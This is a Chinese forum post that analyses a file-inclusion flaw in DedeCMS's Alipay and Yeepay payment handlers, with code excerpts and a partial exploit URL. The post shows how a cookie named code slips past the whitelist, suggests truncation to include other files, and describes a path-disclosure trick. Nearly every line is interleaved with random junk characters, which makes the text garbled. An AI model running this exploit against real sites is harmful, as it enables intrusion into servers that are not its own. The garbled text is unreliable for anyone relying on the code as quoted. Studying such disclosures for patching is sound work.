晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
' J& ?$ v. d2 T6 o( a2 K1 i/ t( r8 H% T4 h, k5 X
出现漏洞的两个文件为:' e% y1 L9 m" O& O% y4 ~( P6 K
Include/payment/alipay.php
7 n1 r @( N; e; f& WInclude/payment/yeepay.php* _1 r, {6 N0 K, H9 v$ q9 i, l- V/ Z
漏洞均出现在respond方法里,估计这两个文件是临时工写的。6 @! ]4 ~5 G1 s+ R1 K
1 f" o& ?# f6 A1 u' }& ~Include/payment/alipay.php
6 o; {# H8 Q0 ^& z' y' m* N$ p! @. _& j. G7 X
......' O: E5 `" c, k& U
function respond()% b) L7 r! ~$ j+ H- j: c3 X
{
C5 ?' s3 R1 R7 ]! ^. g3 g if (!empty($_POST))* B/ G1 W- J7 x3 T$ f- |
{
8 d+ {* A9 I* U3 O+ F0 p8 ^ foreach($_POST as $key => $data)
+ k$ C5 l- q& L3 t1 y7 A+ c' ^8 C {
5 W; ^. M+ v8 u $_GET[$key] = $data;: `5 I" p8 i, @( l) Q, h9 V3 Y
}/ j& k% M1 m- V
}
/ z& r/ J! B- \% ~ /* 引入配置文件 *// p' K; g: C+ s, C& j d4 B! T
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
S+ u: z* X2 s& z' B, d7 |( Z. l4 F...... 2 ^4 V! R4 N& K; e- J( ]
" y; n; P: R# w6 Q: ], `9 n
( m6 Z+ L- Y6 M6 T3 \, a/ G大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。; O. d0 N4 Q1 A
: a0 w; ?4 g, sInclude/payment/yeepay.php
5 X: h3 |# P- S/ u, s4 s9 j
, a8 d& k' ` I; \
* L% n1 i3 i- O- W
" k: B& x; s i- L/ r......" v! X9 F' ]' o7 C
function respond()& J6 L" q+ [! P7 h
{
! a% m" V/ |( s1 S. x& m; W ! p" v+ M0 V3 K3 o
/* 引入配置文件 */8 F; J& m' }/ Y* t
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';: n$ U' S( V8 j- Q0 b$ ^
0 D- p4 h3 y9 r7 H9 g: C
$p1_MerId = trim($payment['yp_account']);
5 ?( b" Y3 y- Q' w" [3 H6 X) v $merchantKey = trim($payment['yp_key']);
- |5 O' d3 l) w( i; t......
( q- S8 M: t. R1 G: I8 l 3 y9 H+ I& u0 S5 A
' @: n) S0 o9 y) e- `4 t1 j% y
* ?: p2 o# B6 k3 n# }3 B5 C/ t2 p7 I: k: B6 t! R
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
' C9 ?. w) E7 t9 C! K4 ~" R- U; S p3 D0 b6 z, e5 K5 v6 O
这两个方法在plus/carbuyaction.php文件调用。0 S$ _8 X, U A$ @* S: f! V0 m
- P4 o$ r, ]% G$ {5 aplus/carbuyaction.php1 }, e& L6 `* r" ~2 g6 Y* y" N
( |) N) p6 V. f6 U7 u) I8 X......2 }! E9 {; k! b) b% ?5 Y6 f
} else if ($dopost == 'return') {
- Y* V' X% b% t5 { $write_list = array('alipay', 'bank', 'cod', 'yeepay');
/ K' M5 U/ B/ D if (in_array($code, $write_list))6 ]2 R1 O/ C% c1 R" Y$ _: _
{! Z0 j- E: C) v: K8 q" ^
require_once DEDEINC.'/payment/'.$code.'.php';$ Z3 t+ {% q, j- I- v# l
$pay = new $code;
7 }$ a% a& }$ D6 {7 H1 }0 s $msg=$pay->respond();
; s6 G' `: L. L& @5 U; V ShowMsg($msg, "javascript:;", 0, 3000);
% M: e! ]& F7 ?; ?; ] exit();
: b; |9 @1 {4 O4 D3 P2 |: Z; y } else {' R6 `. ?8 R1 h V; @' V, d. O+ x
exit('Error:File Type Can\'t Recognized!');
# b- c+ j: G& t5 u1 { }
$ O8 s* T$ O* U# e9 K) @}
+ J5 e- P8 b* ^& C8 s......
( m' O! E E% H3 q. K( ? ' _* A( f7 m3 T3 i @! _
Y$ C4 B9 {. k# D
5 b! k% P! g4 i# a& l5 T/ e; w- ]& ?
: U0 x* @, [' `1 L2 l9 S+ Z
; S3 R- _ O4 ^* ]大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
5 `# |9 i: e# z所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。5 o& w3 J8 Z5 B9 }% c9 K( _
* c9 [% Y# ?" H7 ?. a: r1 J' h/ b
回到include/common.inc.php来看看他的机制。
4 H/ c; c# o) V! }7 e6 x7 g1 t+ ~
b" p( m5 l2 L, p- z5 { $ a" ^3 m+ s% ]
5 b* O, z$ q9 }- i1 y5 M
......
* b/ ?" W% a- _$ pforeach(Array('_GET','_POST','_COOKIE') as $_request)9 |1 t. h6 R3 e1 v
{) }6 D6 q; S' x% v1 }
foreach($$_request as $_k => $_v) % Z$ w$ a# \1 ]/ t) ?
{# b9 \( O/ f5 W$ E8 u8 f4 t
if($_k == 'nvarname') ${$_k} = $_v;
, F# c0 b# y0 l else ${$_k} = _RunMagicQuotes($_v);, w& ]4 N- F" {8 P& F. D! d" L
}, Y$ o. G% g1 [
}- _" R) h0 |/ i1 b n2 x) S* c
......
6 Z# D4 W0 P0 A大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
. p N$ v, U) F3 F `. x由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |